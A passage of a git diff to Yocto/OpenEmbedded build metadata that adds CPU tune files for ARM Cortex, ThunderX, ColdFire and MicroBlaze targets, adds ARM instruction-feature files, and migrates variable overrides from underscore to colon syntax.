+TUNE_FEATURES:tune-cortexa34-crypto = "${TUNE_FEATURES:tune-cortexa34} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa34 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa34"
+PACKAGE_EXTRA_ARCHS:tune-cortexa34-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa34 cortexa34-crypto"
+BASE_LIB:tune-cortexa34 = "lib64"
+BASE_LIB:tune-cortexa34-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa35.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa35.inc
new file mode 100644
index 0000000000..33afb19386
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa35.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "cortexa35"
+
+TUNEVALID[cortexa35] = "Enable Cortex-A35 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa35', ' -mcpu=cortex-a35', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa35 cortexa35-crypto"
+ARMPKGARCH:tune-cortexa35 = "cortexa35"
+ARMPKGARCH:tune-cortexa35-crypto = "cortexa35"
+TUNE_FEATURES:tune-cortexa35 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa35"
+TUNE_FEATURES:tune-cortexa35-crypto = "${TUNE_FEATURES:tune-cortexa35} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa35 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa35"
+PACKAGE_EXTRA_ARCHS:tune-cortexa35-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa35 cortexa35-crypto"
+BASE_LIB:tune-cortexa35 = "lib64"
+BASE_LIB:tune-cortexa35-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa53.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa53.inc
new file mode 100644
index 0000000000..a534ad358d
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa53.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "cortexa53"
+
+TUNEVALID[cortexa53] = "Enable Cortex-A53 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa53', ' -mcpu=cortex-a53', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa53 cortexa53-crypto"
+ARMPKGARCH:tune-cortexa53 = "cortexa53"
+ARMPKGARCH:tune-cortexa53-crypto = "cortexa53-crypto"
+TUNE_FEATURES:tune-cortexa53 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa53"
+TUNE_FEATURES:tune-cortexa53-crypto = "${TUNE_FEATURES:tune-cortexa53} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa53 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa53"
+PACKAGE_EXTRA_ARCHS:tune-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa53 cortexa53-crypto"
+BASE_LIB:tune-cortexa53 = "lib64"
+BASE_LIB:tune-cortexa53-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa57-cortexa53.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa57-cortexa53.inc
new file mode 100644
index 0000000000..7de671a2e5
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa57-cortexa53.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "cortexa57-cortexa53"
+
+TUNEVALID[cortexa57-cortexa53] = "Enable big.LITTLE Cortex-A57.Cortex-A53 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa57-cortexa53", " -mcpu=cortex-a57.cortex-a53", "", d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa57-cortexa53", "cortexa57-cortexa53:", "", d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa57-cortexa53"
+ARMPKGARCH:tune-cortexa57-cortexa53 = "cortexa57-cortexa53"
+TUNE_FEATURES:tune-cortexa57-cortexa53 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa57-cortexa53"
+PACKAGE_EXTRA_ARCHS:tune-cortexa57-cortexa53 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa57-cortexa53"
+BASE_LIB:tune-cortexa57-cortexa53 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa57.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa57.inc
new file mode 100644
index 0000000000..37650d8798
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa57.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "cortexa57"
+
+TUNEVALID[cortexa57] = "Enable Cortex-A57 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa57', ' -mcpu=cortex-a57', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa57 cortexa57-crypto"
+ARMPKGARCH:tune-cortexa57 = "cortexa57"
+ARMPKGARCH:tune-cortexa57-crypto = "cortexa57-crypto"
+TUNE_FEATURES:tune-cortexa57 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa57"
+TUNE_FEATURES:tune-cortexa57-crypto = "${TUNE_FEATURES:tune-cortexa57} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa57 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa57"
+PACKAGE_EXTRA_ARCHS:tune-cortexa57-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa57 cortexa57-crypto"
+BASE_LIB:tune-cortexa57 = "lib64"
+BASE_LIB:tune-cortexa57-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa72-cortexa53.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa72-cortexa53.inc
new file mode 100644
index 0000000000..a77ef59d62
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa72-cortexa53.inc
@@ -0,0 +1,19 @@
+DEFAULTTUNE ?= "cortexa72-cortexa53"
+
+TUNEVALID[cortexa72-cortexa53] = "Enable big.LITTLE Cortex-A72.Cortex-A53 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa72-cortexa53", " -mcpu=cortex-a72.cortex-a53", "", d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa72-cortexa53", "cortexa72-cortexa53:", "", d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# cortexa72.cortexa53 implies crc support
+AVAILTUNES += "cortexa72-cortexa53 cortexa72-cortexa53-crypto"
+ARMPKGARCH:tune-cortexa72-cortexa53 = "cortexa72-cortexa53"
+ARMPKGARCH:tune-cortexa72-cortexa53-crypto = "cortexa72-cortexa53-crypto"
+TUNE_FEATURES:tune-cortexa72-cortexa53 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa72-cortexa53"
+TUNE_FEATURES:tune-cortexa72-cortexa53-crypto = "${TUNE_FEATURES:tune-cortexa72-cortexa53} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa72-cortexa53 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa72-cortexa53"
+PACKAGE_EXTRA_ARCHS:tune-cortexa72-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa72-cortexa53 cortexa72-cortexa53-crypto"
+BASE_LIB:tune-cortexa72-cortexa53 = "lib64"
+BASE_LIB:tune-cortexa72-cortexa53-crypto = "lib64"
+
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa72.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa72.inc
new file mode 100644
index 0000000000..3651cf6e80
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa72.inc
@@ -0,0 +1,21 @@
+DEFAULTTUNE ?= "cortexa72"
+
+TUNEVALID[cortexa72] = "Enable Cortex-A72 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa72', ' -mcpu=cortex-a72', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa72 cortexa72-crc cortexa72-crc-crypto"
+ARMPKGARCH:tune-cortexa72 = "cortexa72"
+ARMPKGARCH:tune-cortexa72-crc = "cortexa72"
+ARMPKGARCH:tune-cortexa72-crc-crypto = "cortexa72"
+TUNE_FEATURES:tune-cortexa72 = "${TUNE_FEATURES:tune-armv8a} cortexa72"
+TUNE_FEATURES:tune-cortexa72-crc = "${TUNE_FEATURES:tune-cortexa72} crc"
+TUNE_FEATURES:tune-cortexa72-crc-crypto = "${TUNE_FEATURES:tune-cortexa72} crc crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa72 = "${PACKAGE_EXTRA_ARCHS:tune-armv8} cortexa72"
+PACKAGE_EXTRA_ARCHS:tune-cortexa72-crc = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa72 cortexa72-crc"
+PACKAGE_EXTRA_ARCHS:tune-cortexa72-crc-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa72 cortexa72-crc cortexa72-crc-crypto"
+BASE_LIB:tune-cortexa72 = "lib64"
+BASE_LIB:tune-cortexa72-crc = "lib64"
+BASE_LIB:tune-cortexa72-crc-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa35.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa35.inc
index 927296c222..869670bf0c 100644
--- a/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa35.inc
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa35.inc
@@ -11,11 +11,11 @@ require conf/machine/include/arm/arch-armv8a.inc
# cortexa73.cortexa35 implies crc support
AVAILTUNES += "cortexa73-cortexa35 cortexa73-cortexa35-crypto"
-ARMPKGARCH_tune-cortexa73-cortexa35 = "cortexa73-cortexa35"
-ARMPKGARCH_tune-cortexa73-cortexa35-crypto = "cortexa73-cortexa35-crypto"
-TUNE_FEATURES_tune-cortexa73-cortexa35 = "${TUNE_FEATURES_tune-armv8a-crc} cortexa73-cortexa35"
-TUNE_FEATURES_tune-cortexa73-cortexa35-crypto = "${TUNE_FEATURES_tune-cortexa73-cortexa35} crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa73-cortexa35 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa73-cortexa35"
-PACKAGE_EXTRA_ARCHS_tune-cortexa73-cortexa35-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa73-cortexa35 cortexa73-cortexa35-crypto"
-BASE_LIB_tune-cortexa73-cortexa35 = "lib64"
-BASE_LIB_tune-cortexa73-cortexa35-crypto = "lib64"
+ARMPKGARCH:tune-cortexa73-cortexa35 = "cortexa73-cortexa35"
+ARMPKGARCH:tune-cortexa73-cortexa35-crypto = "cortexa73-cortexa35-crypto"
+TUNE_FEATURES:tune-cortexa73-cortexa35 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa73-cortexa35"
+TUNE_FEATURES:tune-cortexa73-cortexa35-crypto = "${TUNE_FEATURES:tune-cortexa73-cortexa35} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73-cortexa35 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa73-cortexa35"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73-cortexa35-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa73-cortexa35 cortexa73-cortexa35-crypto"
+BASE_LIB:tune-cortexa73-cortexa35 = "lib64"
+BASE_LIB:tune-cortexa73-cortexa35-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa53.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa53.inc
new file mode 100644
index 0000000000..9cebffd54d
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa53.inc
@@ -0,0 +1,19 @@
+DEFAULTTUNE ?= "cortexa73-cortexa53"
+
+TUNEVALID[cortexa73-cortexa53] = "Enable big.LITTLE Cortex-A73.Cortex-A53 specific processor optimizations"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa73-cortexa53", "cortexa73-cortexa53:", "", d)}"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa73-cortexa53", " -mcpu=cortex-a73.cortex-a53", "", d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# cortexa73.cortexa53 implies crc support
+AVAILTUNES += "cortexa73-cortexa53 cortexa73-cortexa53-crypto"
+ARMPKGARCH:tune-cortexa73-cortexa53 = "cortexa73-cortexa53"
+ARMPKGARCH:tune-cortexa73-cortexa53-crypto = "cortexa73-cortexa53-crypto"
+TUNE_FEATURES:tune-cortexa73-cortexa53 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa73-cortexa53"
+TUNE_FEATURES:tune-cortexa73-cortexa53-crypto = "${TUNE_FEATURES:tune-cortexa73-cortexa53} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73-cortexa53 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa73-cortexa53"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa73-cortexa53 cortexa73-cortexa53-crypto"
+BASE_LIB:tune-cortexa73-cortexa53 = "lib64"
+BASE_LIB:tune-cortexa73-cortexa53-crypto = "lib64"
+
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa73.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa73.inc
index ed2deb96b0..fc91dafb1d 100644
--- a/meta/conf/machine/include/arm/armv8a/tune-cortexa73.inc
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa73.inc
@@ -10,7 +10,7 @@ require conf/machine/include/arm/arch-armv8a.inc
# Little Endian base configs
AVAILTUNES += "cortexa73"
-ARMPKGARCH_tune-cortexa73 = "cortexa73"
-TUNE_FEATURES_tune-cortexa73 = "${TUNE_FEATURES_tune-armv8a-crc-crypto} cortexa73"
-PACKAGE_EXTRA_ARCHS_tune-cortexa73 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa73"
-BASE_LIB_tune-cortexa73 = "lib64"
+ARMPKGARCH:tune-cortexa73 = "cortexa73"
+TUNE_FEATURES:tune-cortexa73 = "${TUNE_FEATURES:tune-armv8a-crc-crypto} cortexa73"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa73"
+BASE_LIB:tune-cortexa73 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-thunderx.inc b/meta/conf/machine/include/arm/armv8a/tune-thunderx.inc
new file mode 100644
index 0000000000..7bc6282be8
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-thunderx.inc
@@ -0,0 +1,19 @@
+DEFAULTTUNE ?= "thunderx"
+AVAILTUNES += "thunderx thunderx_be"
+
+TUNEVALID[thunderx] = "Enable instructions for Cavium ThunderX"
+
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'thunderx', ' -mcpu=thunderx', '',d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+ARMPKGARCH:tune-thunderx ?= "thunderx"
+ARMPKGARCH:tune-thunderx_be ?= "thunderx"
+
+TUNE_FEATURES:tune-thunderx = "${TUNE_FEATURES:tune-aarch64} thunderx"
+TUNE_FEATURES:tune-thunderx_be = "${TUNE_FEATURES:tune-thunderx} bigendian"
+BASE_LIB:tune-thunderx = "lib64"
+BASE_LIB:tune-thunderx_be = "lib64"
+
+PACKAGE_EXTRA_ARCHS:tune-thunderx = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} thunderx"
+PACKAGE_EXTRA_ARCHS:tune-thunderx_be = "aarch64_be thunderx_be"
diff --git a/meta/conf/machine/include/arm/armv8r/tune-cortexr52.inc b/meta/conf/machine/include/arm/armv8r/tune-cortexr52.inc
new file mode 100644
index 0000000000..3a97cf8ee8
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8r/tune-cortexr52.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R52
+#
+DEFAULTTUNE ?= "cortexr52"
+
+TUNEVALID[cortexr52] = "Enable Cortex-R52 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr52', ' -mcpu=cortex-r52', '', d)}"
+
+require conf/machine/include/arm/arch-armv8r.inc
+
+AVAILTUNES += "cortexr52"
+ARMPKGARCH:tune-cortexr52 = "cortexr52"
+TUNE_FEATURES:tune-cortexr52 = "${TUNE_FEATURES:tune-armv8r-crc-simd} cortexr52"
+PACKAGE_EXTRA_ARCHS:tune-cortexr52 = "${PACKAGE_EXTRA_ARCHS:tune-armv8r-crc-simd} cortexr52"
diff --git a/meta/conf/machine/include/arm/feature-arm-crc.inc b/meta/conf/machine/include/arm/feature-arm-crc.inc
new file mode 100644
index 0000000000..8a69d2e2fa
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-crc.inc
@@ -0,0 +1,4 @@
+# Cyclic Redundancy Check (CRC) instructions for armv8-a and armv8-r
+
+TUNEVALID[crc] = "Enable instructions for ARMv8 Cyclic Redundancy Check (CRC)"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', 'crc', '+crc', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-crypto.inc b/meta/conf/machine/include/arm/feature-arm-crypto.inc
new file mode 100644
index 0000000000..aade6ce08d
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-crypto.inc
@@ -0,0 +1,5 @@
+# Cryptographic instructions for:
+# armv8-a, armv8.1-a, armv8.3-a, armv8.4-a, armv8.5-a, armv8.6-a, and armv8-r
+
+TUNEVALID[crypto] = "Enable cryptographic instructions for ARMv8"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', 'crypto', '+crypto', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-dsp.inc b/meta/conf/machine/include/arm/feature-arm-dsp.inc
new file mode 100644
index 0000000000..7f7ada7461
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-dsp.inc
@@ -0,0 +1,3 @@
+ARMPKGSFX_DSP = "${@bb.utils.contains('TUNE_FEATURES', [ 'dsp' ], 'e', '', d)}"
+TUNEVALID[dsp] = "ARM DSP functionality"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', [ 'dsp' ], '+dsp', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-idiv.inc b/meta/conf/machine/include/arm/feature-arm-idiv.inc
new file mode 100644
index 0000000000..0ea42b1b39
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-idiv.inc
@@ -0,0 +1,2 @@
+TUNEVALID[idiv] = "ARM-state integer division instructions"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', 'idiv', '+idiv', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-neon.inc b/meta/conf/machine/include/arm/feature-arm-neon.inc
index eaddd054ce..174b9b9f2a 100644
--- a/meta/conf/machine/include/arm/feature-arm-neon.inc
+++ b/meta/conf/machine/include/arm/feature-arm-neon.inc
@@ -19,3 +19,8 @@ TUNE_CCARGS_MFPU .= "${@bb.utils.contains('TUNE_FEATURES', [ 'vfpv4', 'neon' ],
TUNEVALID[vfpv4d16] = "Enable Vector Floating Point Version 4 with 16 registers (vfpv4-d16) unit."
TUNE_CCARGS_MFPU .= "${@bb.utils.contains('TUNE_FEATURES', 'vfpv4d16', ' vfpv4-d16', '', d)}"
+
+TUNEVALID[vfpv5spd16] = "Enable Vector Floating Point Version 5, Single Precision. with 16 registers (fpv5-sp-d16) unit."
+TUNE_CCARGS_MFPU .= "${@bb.utils.contains('TUNE_FEATURES', 'vfpv5spd16', 'fpv5-sp-d16', '', d)}"
+
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', [ 'vfpv3d16', 'vfpv5spd16' ], '+fp', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-simd.inc b/meta/conf/machine/include/arm/feature-arm-simd.inc
new file mode 100644
index 0000000000..1afaf8d901
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-simd.inc
@@ -0,0 +1,5 @@
+# Advanced SIMD and floating-point instructions for armv7-a, armv7ve,
+# armv8-a, armv8.1-a, armv8.3-a, armv8.4-a, armv8.5-a, armv8.6-a, and armv8-r
+
+TUNEVALID[simd] = "Enable instructions for Advanced SIMD and floating-point units"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', 'simd', '+simd', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-thumb.inc b/meta/conf/machine/include/arm/feature-arm-thumb.inc
index bae169da3a..1c9a118160 100644
--- a/meta/conf/machine/include/arm/feature-arm-thumb.inc
+++ b/meta/conf/machine/include/arm/feature-arm-thumb.inc
@@ -22,9 +22,9 @@ python () {
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'thumb', ' -m${ARM_M_OPT}', '', d)}"
ARM_THUMB_SUFFIX = "t2"
-ARM_THUMB_SUFFIX_armv4 = "t"
-ARM_THUMB_SUFFIX_armv5 = "t"
-ARM_THUMB_SUFFIX_armv6 = "t"
+ARM_THUMB_SUFFIX:armv4 = "t"
+ARM_THUMB_SUFFIX:armv5 = "t"
+ARM_THUMB_SUFFIX:armv6 = "t"
# Add suffix from ARM_THUMB_SUFFIX only if after all this we still set ARM_M_OPT to thumb
ARMPKGSFX_THUMB .= "${@bb.utils.contains('TUNE_FEATURES', 'thumb', '${ARM_THUMB_SUFFIX}', '', d) if d.getVar('ARM_M_OPT') == 'thumb' else ''}"
diff --git a/meta/conf/machine/include/m68k/arch-m68k.inc b/meta/conf/machine/include/m68k/arch-m68k.inc
index 3ff8a3a5b5..3f0f2ff57e 100644
--- a/meta/conf/machine/include/m68k/arch-m68k.inc
+++ b/meta/conf/machine/include/m68k/arch-m68k.inc
@@ -5,4 +5,4 @@ DEFAULTTUNE ?= "m68k"
# Architecture name
TUNE_ARCH = "m68k"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
diff --git a/meta/conf/machine/include/m68k/tune-mcf5441x.inc b/meta/conf/machine/include/m68k/tune-mcf5441x.inc
new file mode 100644
index 0000000000..7eefce03cb
--- /dev/null
+++ b/meta/conf/machine/include/m68k/tune-mcf5441x.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "mcf5441x"
+
+require conf/machine/include/m68k/arch-m68k.inc
+
+TUNEVALID[mcf5441x] = "Enable coldfire specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mcf5441x', ' -mcpu=54418', '', d)}"
+
+AVAILTUNES += "mcf5441x"
+TUNE_FEATURES:tune-mcf5441x = "mcf5441x"
+TUNE_ARCH:tune-mcf5441x = "mcf5441x"
+TUNE_PKGARCH:tune-mcf5441x = "mcf5441x"
+PACKAGE_EXTRA_ARCHS:tune-mcf5441x = "m68k mcf5441x"
+
diff --git a/meta/conf/machine/include/microblaze/tune-microblaze.inc b/meta/conf/machine/include/microblaze/tune-microblaze.inc
new file mode 100644
index 0000000000..11f7233cf4
--- /dev/null
+++ b/meta/conf/machine/include/microblaze/tune-microblaze.inc
@@ -0,0 +1,8 @@
+DEFAULTTUNE ?= "microblaze"
+
+require conf/machine/include/microblaze/arch-microblaze.inc
+
+AVAILTUNES += "microblaze"
+TUNE_FEATURES:tune-microblaze = "microblaze"
+PACKAGE_EXTRA_ARCHS:tune-microblaze = "${TUNE_PKGARCH}"
+
diff --git a/meta/conf/machine/include/mips/README b/meta/conf/machine/include/mips/README
index f36e87b45a..77448c5190 100644
--- a/meta/conf/machine/include/mips/README
+++ b/meta/conf/machine/include/mips/README
@@ -23,7 +23,7 @@ scheme. The scheme is: <mips variant>[-nf][-n32]
TUNE_PKGARCH is defined as:
-${MIPSPKGSFX_VARIANT_tune-${DEFAULTTUNE}}${MIPSPKGSFX_FPU}${MIPSPKGSFX_ABI}
+${MIPSPKGSFX_VARIANT:tune-${DEFAULTTUNE}}${MIPSPKGSFX_FPU}${MIPSPKGSFX_ABI}
The following is a list of MIPS specific variables:
@@ -35,7 +35,7 @@ defined as "el".
MIPSPKGSFX_ENDIAN2 - For bigendian hardware this is "eb", otherwise it's
defined as "el".
-MIPSPKGSFX_VARIANT_tune-<tune> - In the default tunings it is set to the
+MIPSPKGSFX_VARIANT:tune-<tune> - In the default tunings it is set to the
same value as TUNE_ARCH. In custom, optimized tunings, the value should
be modified to more precisely describe the tuning.
diff --git a/meta/conf/machine/include/mips/arch-mips.inc b/meta/conf/machine/include/mips/arch-mips.inc
index cb1a4c443c..e48ddd2d6b 100644
--- a/meta/conf/machine/include/mips/arch-mips.inc
+++ b/meta/conf/machine/include/mips/arch-mips.inc
@@ -21,7 +21,7 @@ ABIEXTENSION .= "${@bb.utils.filter('TUNE_FEATURES', 'n32', d)}"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'n32', ' -mabi=n32', '', d)}"
# user mode qemu doesn't support mips64 n32: "Invalid ELF image for this architecture"
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = " ${@bb.utils.contains('TUNE_FEATURES', 'n32', 'qemu-usermode', '', d)}"
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = " ${@bb.utils.contains('TUNE_FEATURES', 'n32', 'qemu-usermode', '', d)}"
TUNEVALID[n64] = "MIPS64 n64 ABI"
TUNECONFLICTS[n64] = "o32 n32"
@@ -49,7 +49,7 @@ MIPSPKGSFX_64R6 = "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r6', 'isa', '
MIPSPKGSFX_32R6 = "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa32r6', 'isa32', '', d)}"
TUNE_ARCH = "mips${MIPSPKGSFX_32R6}${MIPSPKGSFX_64R6}${MIPSPKGSFX_BYTE}${MIPSPKGSFX_R6}${MIPSPKGSFX_ENDIAN}"
-TUNE_PKGARCH = "${MIPSPKGSFX_VARIANT_tune-${DEFAULTTUNE}}${MIPSPKGSFX_FPU}${MIPSPKGSFX_ABI}"
+TUNE_PKGARCH = "${MIPSPKGSFX_VARIANT:tune-${DEFAULTTUNE}}${MIPSPKGSFX_FPU}${MIPSPKGSFX_ABI}"
# Various Global Machine Overrides
MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n64', 'mipsarchn64${MIPSPKGSFX_ENDIAN2}:', '', d)}"
@@ -64,88 +64,88 @@ MACHINEOVERRIDES =. "mipsarch:"
# Base tunes
AVAILTUNES += "mips mips64-n32 mips64 mipsel mips64el-n32 mips64el mips-nf mips64-nf-n32 mips64-nf mipsel-nf mips64el-nf-n32 mips64el-nf"
-TUNE_FEATURES_tune-mips = "o32 bigendian fpu-hard"
-BASE_LIB_tune-mips = "lib"
-MIPSPKGSFX_VARIANT_tune-mips = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips = "mips"
-
-TUNE_FEATURES_tune-mips64-n32 = "n32 bigendian fpu-hard"
-BASE_LIB_tune-mips64-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-n32 = "mips64-n32"
-
-TUNE_FEATURES_tune-mips64 = "n64 bigendian fpu-hard"
-BASE_LIB_tune-mips64 = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64 = "mips64"
-
-TUNE_FEATURES_tune-mipsel = "o32 fpu-hard"
-BASE_LIB_tune-mipsel = "lib"
-MIPSPKGSFX_VARIANT_tune-mipsel = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsel = "mipsel"
-
-TUNE_FEATURES_tune-mips64el-n32 = "n32 fpu-hard"
-BASE_LIB_tune-mips64el-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64el-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-n32 = "mips64el-n32"
-
-TUNE_FEATURES_tune-mips64el = "n64 fpu-hard"
-BASE_LIB_tune-mips64el = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64el = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el = "mips64el"
-
-TUNE_FEATURES_tune-mips-nf = "o32 bigendian"
